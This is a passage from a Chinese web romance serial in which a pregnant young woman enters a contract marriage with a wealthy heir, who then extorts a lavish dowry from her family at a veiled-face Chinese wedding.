万一……万一就日久生情了呢? 那混小子虽不着调,但皮相是顶好的,说不定这丫头是个顶级颜控! 又或者是那死小子天生会疼老婆呢? 先答应下来,把人捆在身边才是正经。 到时候,她再多创造点机会,使劲撮合,还怕他们擦不出火花? 想到这里,老太太脸上立刻堆起慈祥又带着点心疼的笑容,紧紧握住岑予衿的手,“傻孩子,说什么傻话!哪有人还没结婚就先想着离婚的?多不吉利!” 她叹了口气,语气充满了无奈,“不过……奶奶理解你的顾虑,也尊重你的决定。行!就按你说的办!协议奶奶让你准备,就当是安你的心。” 老太太话锋一转,眼神里透着精明,“但是笙笙啊,咱们可得说好,这一年,你得真心实意地和京洲那小子相处,给他个机会,也给你自己一个机会,好不好?就算是为了宝宝,试试看,嗯?” 她拍了拍岑予衿的手背,语气带着诱哄,“那混账要是一年后还是那副死样子,不用你说,奶奶亲自帮你收拾他,风风光光送你离开,宝宝我们陆家也绝不会亏待。” 岑予衿看着老太太眼中一闪而过的精光,心下明了,这看似妥协的背后,是老太太不肯放弃的期盼。 她乖巧地点点头,低声道,“好,都听老夫人的。” “老夫人,我……我还有个条件。”岑予衿有些紧。 老太太的声音依旧温柔,没有因为她再增加条件而变脸,“什么条件?” “我想要整个岑氏。” 岑氏? 老太太仔细的想了想他口中的岑氏,有了印象,“你说的是三年前突然易主的岑氏?” “嗯。” 如果她没有记错的话,原来的岑家早就家破人亡了,连唯一的女儿,也在前几天意外去世了。 “怎么突然要岑氏,要是你想上班,等把宝宝平平安安生下来,进陆氏。” 岑予衿不可能这会向老太太坦白自己的心意,更不可能把那些弯弯绕绕全部告诉她。 毕竟,这会儿的她们只是刚见过一面的陌生人,远远达不到交心的程度。 “岑家大小姐,是我的嫂子,也是我最好的朋友,从她叔叔手里拿回岑氏是她的心愿,可现在成了她的遗愿,只有我能帮她完成这个愿望了。” 老太太也是个人精儿,怎么可能这么轻易就答应她,“这件事情我会找人着手安排,我保证在你把宝宝生下来之前,给你安排妥当。” 岑予衿知道老太太这是想拖着她,想把这个当成拿捏她的筹码。 只是个口头承诺,没有任何作用。 可是她现在没得选,只能装傻充愣,“谢谢奶奶。” 目的达到,老太太心里乐开了花,脸上却故作沉重地叹了口气,“哎,委屈你了孩子。走吧,先跟奶奶回家,这医院消毒水味儿重,对孕妇不好。剩下的事,交给奶奶来处理。” 她拉着岑予衿起身,心里已经开始盘算着怎么把那个不着调的孙子骗回来,以及……该怎么“督促”他们培养感情了。 这一年之约,她可得好好利用起来! …… 另一边京城著名的销金窟皇都! 陆京洲还在仔细回想着,为什么对今天突然冲进他怀里的那个女人有不一样的感觉。 到底在哪见过? 还没想出来呢,放在手边的手机铃声就响了起来。 陆京洲一看是老太太的电话,想都没想直接挂断。 这会她又来凑什么热闹。 自从上次,她给自己下药之后,他就再也没接过老太太的电话。 这会依旧不接。 电话刚挂断,铃声又像催命符一样响了起来,屏幕上闪烁的依旧是“老太太”三个字。 陆京洲烦躁地“啧”了一声,本想再次挂断,但想到老太太那不达目的誓不罢休的性子,今天不接,她能让人直接找到皇都来。 他深吸一口气,极其不耐地划开了接听键,语气冷硬,“老太太,您又怎么了?” 电话那头,陆老太太中气十足的声音立刻传了过来,带着不容置疑的命令,“陆京洲!现在!立刻!马上给我滚回来!” 陆京洲嗤笑一声,慵懒地靠回沙发背,晃着手中的酒杯,“回去干嘛?看您老人家又给我准备了什么‘惊喜’?上次的‘惊喜’我可还没消化完。” 他刻意加重了“惊喜”二字,嘲讽意味十足。 “少给我贫嘴!”老太太声音拔高,“给你安排了个联姻对象,人姑娘已经在家里等着了,你赶紧回来见一面!” “联姻?”陆京洲像是听到了什么天大的笑话,语气瞬间结冰,“奶奶,您是不是忘了上次的教训?宋清菡都跟人私奔了,您又来?不见!” 他斩钉截铁地拒绝,准备挂电话。 “你敢!”老太太厉声喝道,紧接着抛出了重磅炸弹,“人姑娘怀了你的孩子!你这个人渣还想不负责?我们陆家没你这种不负责任的混账!” “什么?!”陆京洲猛地坐直身体,瞳孔骤缩,脑子里“嗡”的一声,几乎以为自己听错了,“孩子?我的?开什么玩笑!” 电光火石间,一个娇软身影猛地撞入脑海。 一个月前,那个像饿狼一样把他扑了的女人! 他被老太太下药那天,意识混沌,只记得一个大概轮廓和那双惊慌含泪的眼睛……难道是她? 陆京洲想到那晚的事情就来气,“行,您倒是说说那女人是谁?” 说出来,我他妈现在就过去弄死她! “周家二小姐,周芙笙!” 陆京洲皱眉,他怎么没听说过这么个名字? 他烦躁的抓了抓头发,仰头将酒杯里的酒一饮而尽。 倒是他旁边的程凌晟反应比他还大,一口酒喷了出来,“阿洲?你真被周家那个丑八怪破身了?还要跟她联姻?” 第12章 周家的丑八怪 周家的丑八怪? 这几个字像是有什么魔咒,把他雷的不轻。 “周家的丑八怪?你认识?”陆京洲语气不善。 程凌晟一脸同情的看着他,“说到这个周二小姐,那我可有话说,圈子里没有人知道她真实的模样,可以说是突然蹦出来的。” 突然蹦出来的? 她是孙悟空吗?还突然蹦出来,哪有这么离谱的事情。 “打住,别说了,老子什么都不信!” 程凌晟默默的给他添了杯酒,“我可没跟你开玩笑,说是周家养在国外的,从小身体不好,刚接回国没多久。” 说着高深莫测的挑了挑眉,“周家让她去和一个年近60的变态老头联姻,明天办婚礼。” “她都有联姻对象了,老太太干嘛还要把我往火坑里推。” 孩子打了不就行了? 反正是她主动的。 程凌晟啧了一声,“这谁知道呢?” “你不知道,你还说人家丑八怪?”陆京洲是实实在在的受害者。 他都被人生扑了。 他打心眼里不希望她是个丑八怪,自己接受不了。 “他们说的有鼻子有眼的,还有照片,不过现在过期了。你也知道圈子里的千金小姐,哪家不是高调的培养,就她不同,像是没有这个人。” 他抬手幸灾乐祸的拍了拍他的肩膀,“这一般都是丑绝了,没脸见人。传说中的她呀,身高158,体重180,满脸麻子,还龅牙!” 他这说得鸡皮疙瘩都起来了。 恶心! 反胃! 那感觉一股脑的涌了上来。 陆京洲胃里一阵翻江倒海。 程凌晟那句描述瞬间在他脑海里勾勒出一个清晰又骇人的形象。 再与他记忆中那个带着馨香的身影强行重叠…… 不可能! “呕——” 他再也忍不住,猛地推开身边碍事的人,捂着嘴,跌跌撞撞地冲向了包厢自带的洗手间。 “砰!”洗手间的门被他用力甩上,隔绝了外面嘈杂的音乐。 紧接着,里面便传来了撕心裂肺的呕吐声,伴随着压抑的干呕,像是要把胆汁都吐出来。 程凌晟在外面听着这动静,摸了摸鼻子,有点心虚,又有点想笑。 他确实,添油加醋了一点点,但是传闻中的她确实是个丑八怪,一点没错。 前几天他们在群里面发了张图片,图片里真是丑绝了! 配不上,根本配不上陆京洲! 他得为自己兄弟的后半生幸福考虑。 他走到洗手间门口,隔着门板都能想象到里面那位爷此刻狼狈又暴怒的样子。 “阿洲……你没事吧?”他试探着问了一句。 回应他的是一声更响的呕吐声和戾气十足的咒骂,“滚!有多远滚多远。” 程凌晟立刻噤声,默默退开几步。 洗手间内,陆京洲撑在冰冷的洗手台边,吐得眼前发黑,胃部痉挛。 好不容易缓过一口气,他抬起头,看向镜子里那个眼眶发红、脸色难看的自己。 一想到那个所谓的“周芙笙”,那个可能又胖又丑、心机深沉的女人,不仅爬了他的床,还怀孕了。 谁知道是不是他的种? “呵……”他低笑出声,眼神却冰冷刺骨。 他拧开水龙头,用冷水狠狠泼在脸上,试图压下那股恶心感和滔天的怒火。 水珠顺着棱角分明的下颌线滴落。 想嫁给他? 用这种下作手段? 还挑唆老太太来压他? 好,很好。 他倒要看看,这个“周二小姐”,究竟有多大本事。 直起身,他扯过纸巾胡乱擦了把脸,眼神已经恢复了惯有的冷厉和桀骜。 他拉开洗手间的门,径直拿起沙发上的外套,周身散发着生人勿近的凛冽气息,头也不回地离开了包厢。 他现在就要回老宅! 撕了那个丑八怪。 司机早就在外头等着了。 “老宅!”陆京洲只说了两个字,就能听出他心情有多糟糕。 车子一路疾驰,带着陆京洲满身的戾气驶入陆家老宅。 他“砰”地一声甩上车门,惊得院子里的佣人纷纷侧目,又在他冰冷的视线下慌忙低下头。 “人呢?”他声音淬了冰,问的是迎上来的老管家。 老管家在他迫人的气势下有些紧张,“少爷,您问的是……” “还能有谁?那个周家的丑八怪!”陆京洲几乎是咬着牙说出这几个字,“老太太把她藏哪儿了?” “这……周小姐刚刚已经离开了。”老管家如实回答,“老夫人亲自让司机送走的。” “走了?”陆京洲眼神一厉,“什么时候走的?” “就在少爷您回来前大约十分钟。” 十分钟!就差这么一点! 陆京洲胸口那股邪火烧得更旺了,他感觉就像蓄满了力的一拳狠狠打在了棉花上,无处发泄。 老太太这是算准了他会回来闹,提前把人送走了! 他不再理会管家,大步流星地冲进主楼,径直上了二楼的小客厅。 果然,只有陆老夫人一人悠闲地坐在沙发上,慢条斯理地品着茶,仿佛早就料到他会出现。 “奶奶!”陆京洲站在门口,周身散发着生人勿近的低气压,“她人呢?” 陆老夫人放下茶杯,抬眼看着自己这个怒气冲冲的孙子,语气平静无波,“谁?” “周芙笙!那个不要脸把我床的丑八怪!”陆京洲几乎是咬着后槽牙说出这个名字,“您把她藏到哪里去了?” “藏?”陆老夫人轻轻笑了一下,带着一丝不容置疑的威严,“京洲,注意你的用词。芙笙是客人,来做客自然有来有往,现在她回去了而已。” “回去?回哪?城东,城西?我要具体地址。”陆京洲逼问,他今天非要问出个下落不可。 “这就不需要你操心了。”陆老夫人语气淡了下来,“你只需要知道,三天后,你和芙笙的婚礼如期举行。请柬我已经让人去印了。” 说着随手将两本结婚证甩在他面前。 陆京洲只是淡淡的瞥了一眼,没经过她同意领的结婚证他会认? 笑话! 现在他只想撕了那女人,根本不想看她那副恶心的嘴脸。 “婚礼?”陆京洲气笑了,他走到老夫人面前,双手撑在茶几上,身体前倾,目光锐利,“我同意了吗?奶奶,结婚是我自己的事!” “以前或许是”陆老夫人迎视着他的目光,分毫不让,“但现在,关系到陆家的声誉,也关系到……你做的那些混账事,就必须由我来做主。” “就因为她可能怀了我孩子?”陆京洲嗤笑,语气充满讥讽,“谁知道是不是我的种?一个被周家突然推出来,马上就要嫁给六十岁老头的女人,能是什么好……” “陆京洲!”陆老夫人厉声打断他,眼神陡然变得严厉,“这件事情没有商量的余地。” 陆京洲也不再看她转身就往外走,“要娶您自己娶,除非我死。” “做个交易。” 陆京洲冷笑,“我和您之间没有任何交易可以做。” 老太太优雅的喝了口茶,声音淡淡的,却带着笃定的味道,“檀月山庄。” 陆京洲脚步陡然停住,垂在身侧的手,用力握紧。 第13章 下聘:她怀了我的孩子 好! 很好! 老太太早就拿捏住了他的死穴。 檀月山庄是母亲留下的唯一遗物。 承载了他太多的回忆。 他回国的唯一目的就是拿到檀月山庄,可……他的好父亲陆鹤嵩死不松口。 不允许任何人踏进半步。 陆京洲用了很多办法,都没能从他手里拿回来檀月山庄。 老太太开出的条件,他压根就没办法拒绝。 陆京洲笑了,笑得讥讽,转身一脚踢在了旁边的老太太的收藏架,各式各样的古董瓷器,稀里哗啦碎了一地。 他却连眼都没眨一下,坐在了沙发上,“只要我娶她?” “嗯,娶她。”老太太看着一地的碎片心疼的要命,他这一脚,保守估计,价值9位数! “为了陆家的面子,哪怕是搭上我后半辈子的幸福,我也必须娶?” 陆老太太点了点头,“是,周芙笙你必须娶。” 他年纪越来越大,脾气又不好,她都老了,也不知道还能撑几年。 就他这脾气就得找个人拴着他。 周芙笙是个爹不疼娘不爱,性格又乖,最好拿捏。 比她以前挑的那些还要合适。 陆京洲都被气笑了,点了点结婚证,“行,我娶,檀月山庄先过户给我。” “等你们俩,结完婚,圆了房,我把它当成新婚礼物送你,现在不行。” 这不说姜是老的辣呢? “圆房?你也不怕你重孙子胎死腹中?” 陆京洲这嘴是真毒。 老太太恨铁不成钢,“你……” “等我结婚,你不许干涉我的生活。” 老太太摊了摊手,“那是自然。” 陆京洲舌尖抵着口中的软肉,似乎是在思考。 娶她? 行,没问题。 娶回来怎么折磨那是他的事情。 他们夫妻之间的事情,老太太没有办法插手,仇能报,母亲的遗物也到手了。 一举两得的好事儿。 “行,没问题,我娶,不过我有一个条件。” 陆老太太心中警铃大作,他又想搞什么幺蛾子,“你说出来我听听。” “婚礼必须是中式,纯中式,盖红盖头的那种,新娘子的盖头,从始至终不许取下来,要不然我不娶了。” 老太太这回是铁了心想让他结婚。 一定请了很多宾客。 一想到她满脸麻子的模样,陆京洲可过不了心里那关。 绝不能让人看了笑话。 听到是这个要求,老太太莫名松了口气,“没问题,我会安排妥当,不过……这是另外的条件。作为交换明天你亲自去周家下聘,给芙笙好好撑撑腰,” 一个无依无靠的女孩子,又乖又可怜,陆家给足了她底气,她才会死心塌地的留在陆家。 明天不就是周家和那个60岁老头联姻的日子。 老太太被那个丑八怪还真上心至极。 “成!交!” …… 张灯结彩的周家! 别墅内早就乱成了一锅粥。 新娘子连夜出逃,找了一晚上,没找着人。 张家接亲的人早就到,正在讨要说法。 陆京洲的车队到周家门口时,看到的就是这么一副鸡飞狗跳的景象。 “还挺热闹?” 客厅里,周父周母正陪着一位头发花白、身材臃肿,穿着不合身西装的老者说话。 老者眼神浑浊,脸上带着纵欲过度的浮肿,手指上戴着硕大的金戒指,正是明天婚礼的新郎——年近六十的张德海。 而张德海身边,还坐着一个油头粉面的年轻男人,正是他儿子张麟。 周芙笙在这个家简直没地位,周家人是疯了吧,她虽然丑了点,也不用把她嫁给年纪能当他爷爷的老头吧? 陆京洲漫不经心且极具辨识度的声音,瞬间打破了客厅里虚假的和谐。 “陆二少?您……您怎么来了?”周父的声音都有些发颤,赶紧迎上前,试图缓和气氛,“有失远迎,有失远迎!快请坐……” “坐就不必了,我找周芙笙。”陆京洲眼神冰冷地扫过在场几人,最后定格在张德海身上,嘴角勾起一抹毫不掩饰的讥讽,“头上的毛都不剩几根了,还老牛吃嫩草,也不怕折寿。。” 张德海被他这话气得脸色涨红,他在商场也算有头有脸,何时被一个小辈如此羞辱过? 但他深知陆家的权势,不敢直接发作,只能沉着脸,“陆二少,请你说话放尊重些!芙笙马上就要嫁给我了,你找她有什么事?” “嫁给你?”陆京洲像是听到了天大的笑话,一步步走近,强大的压迫感让张德海不自觉地向后仰了仰身体,“恐怕不行了。” “你什么意思?!”张麟忍不住站起来,到底不如他老子沉得住气。 陆京洲连一个眼神都懒得给他,直接对着是对着所有在场的人宣布,“周芙笙,她怀了我的孩子,一个月了,所以不能嫁给这个老头。” 这话如同平地惊雷,炸得整个客厅一片死寂。 第14章 婚礼:扯不住的红盖头 陆京洲语不惊人死不休,“所以我是来下聘的。” 周父周母目瞪口呆。 张德海更是脸色铁青,感觉自己头顶绿油油一片,气得浑身发抖,指着周父,“周建成!这到底是怎么回事?你必须给我一个交代!” “这绝对不可能,我们家芙笙可不是那样的人,回国才几个月,都没出过门,怎么可能认识陆二少想必是您误会了。” 岑予衿那么乖,怎么可能做这样的事情? 周时越听到这个消息,脑子突然嗡的一下。 岑予衿她……什么时候和陆二少有关系了? 还怀孕了。 难不成是……那几个混混的。 可……要真是那几个混混的,陆京洲为什么会找上门。 客厅死寂中,一道怯生生的女声突然划破空气,是林舒薇身边的女佣刘妈,声音不大却足够所有人听清,“张老先生,恕我多嘴一句……陆二少怕是……误会了。” 陆京洲眉峰骤然一挑,寒眸扫过去,戾气瞬间弥漫,“是吗?” 刘妈被他眼神吓得一哆嗦,却被身后林舒薇递来的一个隐晦眼神稳住,咽了口唾沫继续道,“一个月前,亲眼看见二小姐和10个混混进了酒店,姿态暧昧,脖子上全是暧昧的红痕。” 她刻意加重十几个混混,暧昧的红痕,这些令人浮想联翩的字,“二小姐回国后确实不常出门,可那晚……那些人一看就不是好东西。如今二小姐怀了孕,按时间算,恐怕……恐怕和陆二少没什么关系,倒是和那晚的混混……” 这话比陆京洲刚才的宣言更像惊雷。 张德海父子的铁青脸反倒透出几分诡异的释然,“陆二少,听见了?你这是抢了个二手货,还喜当爹啊?” 陆京洲脸上带着笑,那笑却有些渗人,“你确定你看清楚了?” “当然确定了,我记得很清楚,我不敢告诉先生和太太,一直藏在心里呢。” 陆京洲冷哼了一声,低头嗅了嗅手里的苹果,“说说具体是哪天?哪个酒店?” 看来,周芙笙的人品是真挺差的。 从房间床单上的痕迹来看,她就是第一次,要是真生性放荡,24岁了还是处? 这些人明显是在落井下石。 “10月23日!晟豪酒店,还拍了照……” 陆京洲手上的动作一顿,还没等刘妈说完,猛的将苹果砸向她,“10月23日,晟豪酒店,她一晚上都在我房间,哪来的10个混混!” 陆京洲砸出去的苹果精准地擦着砸中刘妈的脑袋,落在地上汁液四溅! 刘妈吓得“嗷”一嗓子,腿一软直接瘫坐在地上,面无人色。 整个客厅再次陷入死寂,只有陆京洲冰冷的声音在回荡,“你告诉我,她是会分身术,还是那十个混混活腻了,敢闯我陆京洲的房间?” “编,继续编。”陆京洲低笑一声,那笑声里没有半分温度,“看来我陆家的人,在你们周家眼里,是可以随便作践的。” 周建成浑身一颤,猛地反应过来,一巴掌扇在了刘妈脸上,“混账东西!谁让你在这里造谣二小姐!给我拖下去!” 刘妈立刻被佣人慌乱地架走了。 他转向陆京洲,冷汗涔涔,“陆少,误会!绝对是误会!是下人胡说八道!芙笙能和您在一起,是我们周家高攀了!” 如果能靠着岑予衿攀上陆家这个根高枝儿,那可比张家强多了。 “高攀?”陆京洲眼神骤然一厉,扫过那满堂奢华却刺眼的聘礼,“我看你们是根本没把她当周家人!” 他抬手,对着身后的保镖干脆利落地一挥,“聘礼,全部抬回去,这是给陆家二少奶奶的。” 保镖们动作整齐划一,“砰”、“砰”声中,一个个刚打开的紫檀木箱被重重合上,红绸覆盖,珠光宝气瞬间被隔绝。 周家人脸上写满了肉痛。 “聘礼我收回。”陆京洲好整以暇地坐下,长腿交叠,姿态慵懒却带着不容置喙的压迫感,“现在,我们来算算,你们周家该给我未婚妻的陪嫁。” 周建成懵了,“陪……陪嫁?” 哪有聘礼不给,彩礼没有,直接讨要陪嫁的! “怎么?”陆京洲眉峰一挑,语气讥诮,“我陆京洲明媒正娶的妻子,在你们周家受了这么多委屈,难道不该有点补偿?还是你们觉得,她不值?” “算了,还是我替她来吧。” 他根本不给周建成反驳的机会,慢条斯理地开出条件,每一个字都像重锤砸在周家心口: “第一,城西那块地皮,过户到她名下,算是给她的一点零花钱。” 周建成眼前一黑,那块地是他今年的重点项目,刚拍下来的。 “第二,周氏集团百分之十的股份,记在她个人名下。” “百分之十?!”周建成失声惊呼,周时越手里都才15%! 陆京洲目光扫过面无人色的周时越,如同看着一只蝼蚁,“诚挚邀请在座各位三天后来参加婚礼,顺便送上陪嫁,少一样……” 他顿了顿,声音轻飘飘的,却带着千钧之力,“我就当你们周家,是故意打我们陆家的脸,看不起我陆家的人。到时候,别说合作了,你们周家……也就没有存在的必要了。” 那表情明显在说:我就拿陆家压死你们,又怎样? 周建成浑身发抖,他知道陆京洲这个二世祖绝对说得倒做得到! 陆家这尊庞然大物,碾死周家比碾死一只蚂蚁还简单! “陆少,这……这太多了……时间也太紧……” “不给?”陆京洲直接打断他,站起身,居高临下地睥睨着这一家子,眼神冰冷刺骨,“那就等着看周氏破产,露宿街头。” 他说完,再不看周家人那如丧考妣的脸色。 转身,带着他那嚣张而来、又原封不动抬回的庞大聘礼队伍,扬长而去。 …… 三天后的婚礼如期而至。 岑予衿安静的坐在化妆桌前,化妆师再给她做妆造。 她没想过陆京洲会妥协,自己会这么顺利嫁进陆家。 她以为自己的婚礼会是一席白纱,嫁给自己心爱的周时越。 可现实是最爱的婚纱穿不了,也不是嫁给最爱的周时越。 至于婚礼,陆京洲只有一个要求,中式婚礼,且红盖头从头到尾都不许拿掉。 从早上到现在,陆京洲没有出现过一次,不出现也好。 岑予衿不知道老太太是怎么搞定的他。 可她知道嫁进陆家只是开始,陆京洲有仇必报,要是他记得当天晚上的事情,绝对会弄死她。 希望肚子里的小护身符,能护住她。 “周小姐实在是太美了。”化妆师都忍不住夸赞,“做了这么多年婚礼跟妆师还是第一次见到这么漂亮的新娘。” “谢谢。”岑予衿微微一笑,礼貌的回应。 只可惜……新郎强烈要求要全程盖红盖头,宾客们都无缘欣赏新娘的美貌了。 这陆家的事情谁又敢随便议论呢? 岑予衿一身新中式拖尾龙凤褂,正红为底,金秀龙凤纹样精美华贵,衣身的裁剪极为考究,最特别的是领口处精致的盘金秀云间样式,层层叠叠的金色花纹如祥云环绕。 头顶的金饰凤冠,流苏摇曳,衬得更加明艳动人。 “吉时快到了,新娘子的妆造好了吗?” 一个看起来像是服务生的人进来催到。 “嗯,差不多了。” 化妆师最后为她整理了一下鬓角,看着镜中明艳不可方物的新娘,最终还是轻叹一声,将那道绣着龙凤呈祥的红色盖头,轻轻覆在了岑予衿的凤冠之上。 视线骤然被一片喜庆的红色笼罩,世界被隔绝在外,只剩下自己有些急促的呼吸和心跳声。 “新娘,吉时已到,该出门了。”喜娘的声音在耳边响起,带着程式化的喜庆。 岑予衿深吸一口气,在喜娘和傧相的搀扶下缓缓起身。 婚礼现场设在陆家老宅的中式园林里,极尽奢华。 处处张灯结彩,宾客云集,政商名流,冠盖如云。 所有人都对这场突如其来的婚礼充满好奇,尤其是对新娘的真容。 那个被传得神乎其神的周家丑八怪。 陆家是京城最高不可攀的顶级豪门,可愣是没有一家旗鼓相当的敢把女儿嫁给他。 这……突然要结婚,所有人都很意外。 当然了,对新娘子的身份也特别好奇。 岑予衿在喜娘的搀扶下,一步步走向红毯尽头。 眼前只有一片朦胧的红,耳边是喧闹的乐声与宾客们压抑不住的窃窃私语。 “看,新娘子来了!” “这身段倒是不错,可惜了……” “听说丑得没法见人,周家一直藏着掖着,陆二少这才要求盖着盖头行礼呢!” “我还听说是她主动爬上陆二少的床,未婚先孕……” “啧啧,瘦死的骆驼比马大,周家攀上陆家真是八辈子修来的福气。” 这些话语像细密的针,透过红盖头扎在她心上。 她攥紧了手中冰凉滑腻的红绸,指尖微微颤抖。 红毯尽头。 陆京洲身着一袭定制黑色中山装,傲然挺立。 与周遭一片喜庆的红色格格不入,这身极致的黑,更衬得他面容冷峻,气场凛冽。 中山装的立领紧扣,透着一丝禁欲的严谨,但偏偏在他左侧胸前,用极细的银线绣着几杆修竹,竹叶疏朗,枝节分明,平添了几分孤高与风骨,冲淡了纯黑的沉闷,显得矜贵又别致。 他脸上没什么表情,深邃的眼眸平静地注视着那个被大红盖头完全笼罩,正缓缓向他走来的身影。 这就是那个丑八怪……周芙笙? 那个据说身高158,体重180,满脸麻子还龅牙的丑八怪? 不知为何,看着那顶严实的红盖头,以及盖头下隐约可见那被勾勒得极为优美的肩颈线条和不堪一握的腰身。 他心底第一次对程凌晟那番言之凿凿的“丑八怪论”产生了一丝荒谬的怀疑。 这身形……似乎和“体重180”相去甚远。 身高至少170! 还有……握着红绸的纤细小手,看起来又白又软,都说一白遮百丑。 这能丑到哪去? 算了吧……听说满脸麻子还龅牙,根本不敢想,那种恶心的感觉隐隐又涌了上来。 喜娘将红绸的另一端塞进他手中。 指尖触碰到红绸的瞬间,他能感觉到那头传来细微的战栗。 怕他? 陆京洲唇角勾起一抹几不可察的冷嘲。 现在知道怕了? 爬他床的时候,算计着嫁进陆家的时候,怎么不想想后果? 他握紧了红绸,力道不轻,带着明确的掌控和不容抗拒的意味,牵引着她,转身面向大厅。 司仪高亢的声音响起:“吉时已到!” 接下来的流程,在陆京洲看来,不过是一场按部就班的表演。 “一拜天地——” 他微微躬身,动作随意,毫无诚意可言。 目光扫过身旁同样躬身的身影,那顶红盖头随着她的动作轻轻晃动,流苏摇曳。 “二拜高堂。” 主位上,陆老太太和后妈苏月兰笑得欣慰,父亲陆鹤嵩依旧面无表情。 而周家那边,周建成夫妇脸上的笑容僵硬,眼神闪烁,送自己儿媳妇出嫁,真是头一遭。 周时越视线落在那窈窕的身影之上,心脏莫名的抽疼。 脑子里的一些画面,像是要冲破一切挣扎而出。 可又被束缚的死死的。 “夫妻对拜——” 陆京洲转过身,面向岑予衿。 隔着那方红盖头,他只能看到一个穿着大红嫁衣的轮廓。 陆京洲依礼俯身。 岑予衿随着他一同深深弯下腰的瞬间,或许是动作幅度稍大,又或许是凤冠本就沉重,那顶严实覆盖在她头上的红盖头,突然松动了! 一边的流苏猛地倾斜,盖头的一角从凤冠上滑脱,眼看着就要在她直起身的刹那彻底滑落! 完了! 岑予衿的心脏骤然缩紧,几乎要跳出胸腔。 第15章 送入洞房 岑予衿的手刚触碰到红盖头。 一只骨节分明,带着温热体温的手倏地伸了过来,精准地按住了那即将滑落的盖头边缘,稳稳地将它重新压回了凤冠之上! 意外来的快,去的也快,甚至许多宾客都未曾察觉这细微的变故。 岑予衿僵在原地,惊魂未定。 她能清晰地感觉到他掌心灼热的温度,以及那着警告意味的力道。 他……在帮她? 他只是在维护自己权威和命令的本能反应。 陆京洲的手在她盖头上停留了一瞬,指尖无意间触到了她后颈细腻的皮肤。 那触感让他眸光微动。 随即,又像是想到了什么抖了抖身子。 冰冷的嗓音透过盖头,低沉地传入她耳中,带着毫不掩饰的讥讽,“这么迫不及待想让人看见你的脸?” 岑予衿咬紧下唇,指甲深深陷入掌心。 “不是……是凤冠太重了……”她声音微不可闻,带着一丝不易察觉的颤抖。 声音软软的,有一点点好听是怎么回事儿? “哼,心机深沉!我看你就是故意的,想让所有人都知道我陆京洲娶了个丑八怪。” 岑予衿唇瓣紧抿,拉着红绸的手不断攥紧。 想解释,可更怕解释了之后他会生气。 喜婆见状,急忙上前打圆场,“新娘子是太紧张了!咱们继续。” “礼成,送入洞房。”司仪高亢的声音适时响起,丝竹管弦之音恰到好处地掩盖了这场小小的风波。 岑予衿随着喜婆的指引,准备转身由身边的人搀扶着离开礼堂,手腕却突然传来一股不容抗拒的力道。 陆京洲一把握住了她纤细的手腕,将她硬生生地拽了回来。 “还没完呢,跑什么?” 他低沉的声音不大,却瞬间让周遭的喧闹为之一静。 所有宾客的目光再次聚焦在这对新人身上。 岑予衿的心也随着提了起来,完全不知道他又要做什么。 手腕被他攥得生疼,那力道仿佛要将她的骨头捏碎。 陆京洲无视她细微的挣扎,也全然不顾周遭各异的目光,拉着她,径直朝着主家席位上,周家夫妇及其几位核心人物的方向走去。 他步伐稳健,气场凛然,每一步都踏在众人的心弦上。 岑予衿只能被动地被他牵引着,踉跄跟上。 她不经意露出的一截雪白手腕,与他充满力量的手掌形成鲜明对比。 两人在陆老夫人和周家人面前站定。 陆京洲甚至没有多余的寒暄,目光直接落在面色微凝的周家人身上,开门见山,声音冷冽如冰,“周先生,周太太,吉时已过,礼已成。现在,是时候把我夫人的陪嫁拿上来了吧。” 他特意加重了“我夫人”三个字,清晰地将岑予衿推到了台前,也像是在向所有人宣告她的身份。 无论内情如何,此刻,她是他陆京洲明媒正娶的妻子。 周建成脸上勉强维持的笑容僵住了,周太太何翠玲更是捏紧了手中的帕子,眼神闪烁。 在场的宾客们也都竖起耳朵。 端坐上方的陆老夫人,眼帘微垂,看不出喜怒,但显然默认了陆京洲的行为。 陆京洲不等周家人回应,便继续开口,每一个字都清晰无比地砸在寂静的空气里,“城西那块五百亩的地皮,以及周氏集团百分之十的股份。今日,就请当着诸位亲朋的面,过户到我夫人周芙笙名下。” “哗——” 尽管已有心理准备,这惊人的陪嫁还是让全场响起了一片压抑不住的惊呼! 城西那块地是周家未来几年规划的核心,价值连城。 而周氏集团百分之十的股份,更是足以让周芙笙一夜之间成为周氏举足轻重的股东。 这不仅仅是彩礼,这简直是陆京洲在强行从周家身上撕下一块肥肉,并且,是塞给了这个刚刚进门,看似柔弱可欺的新夫人! 岑予衿盖头下的呼吸骤然停滞,心脏狂跳,几乎要撞出胸腔。 她难以置信自己所听到的。 城西地皮?周氏股份?给她? 这……这太荒谬了! 不过……她瞬间明白了。 陆京洲这么做是在替她撑腰。 应该是老太太要求的,那天老太太问她要不要周家的股份。 她没想到是这么光明正大的讨要,还是10%。 周建成的脸色瞬间变得难看至极,看向陆老夫人,“陆老夫人,这……这……” 陆京洲却根本不给他说完的机会,眼神锐利如刀,带着不容置疑的压迫感,“周先生是觉得,我陆京洲的夫人,配不上这份陪嫁?还是觉得,我陆家的门楣,不值这个价?” 他语气平淡,却字字诛心。 直接将问题拔高到了两家颜面和联盟稳固的层面。 何翠玲在一旁急得直扯周建成的袖子,眼神里满是焦灼和劝阻。 与陆家联姻带来的长远利益,或许远超这些,但此刻的割肉之痛,实在难以忍受。 所有人的目光都聚焦在周建成身上,等待着他的回应。 礼堂内静得落针可闻,气氛紧张得如同拉满的弓弦。 周建成额角青筋跳动,最终,在陆京洲冰冷的目光和陆老夫人无形的威压下 他极其艰难地扯出一个比哭还难看的笑容,从牙缝里挤出一句话,“陆二少说的哪里话……这份陪嫁,自然是……配得上的。” 他转头对身后的助理低声咬牙吩咐,“去,把准备好的地皮转让协议和股权赠与协议拿来。” 助理应声而去。 不过片刻,两份文件便被呈了上来。 周建成颤抖着手,几乎是在陆京洲目光的逼视下,在协议上签下了名字。 陆京洲看都没看那协议内容,只示意身后的律师上前核对。 拿起笔,塞到了被他一直攥着手腕的岑予衿手中。 盖头下,岑予衿的手指冰凉,微微颤抖。 她看不见,只能感受到他大手包裹着她的力道,带着她,在那两份价值上亿的文件上,签下了“周芙笙”三个字。 最后一笔落下,陆京洲松开了她的手,她的手就像是什么脏东西一般。 他拿起其中一份协议,对着众人展示了一下,“从今往后,周芙笙便是我陆京洲名正言顺的妻子,也是城西地皮和周氏这百分之十股份的唯一持有人。” 满堂宾客神色各异,有艳羡,有震惊,也有深深的忌惮,光明正大的在婚礼上威胁老丈人,他是第一人! 周时越看着两人紧握的双手,心口像是有什么东西堵着,喘不上气。 很奇怪,不是因为给她的股份,或是地皮。 是陆京洲居然牵着她的手。 周时越起身提前离席,林舒薇发现了他的不对劲,立马跟上。 第16章 洞房花烛夜,一刻值千金! 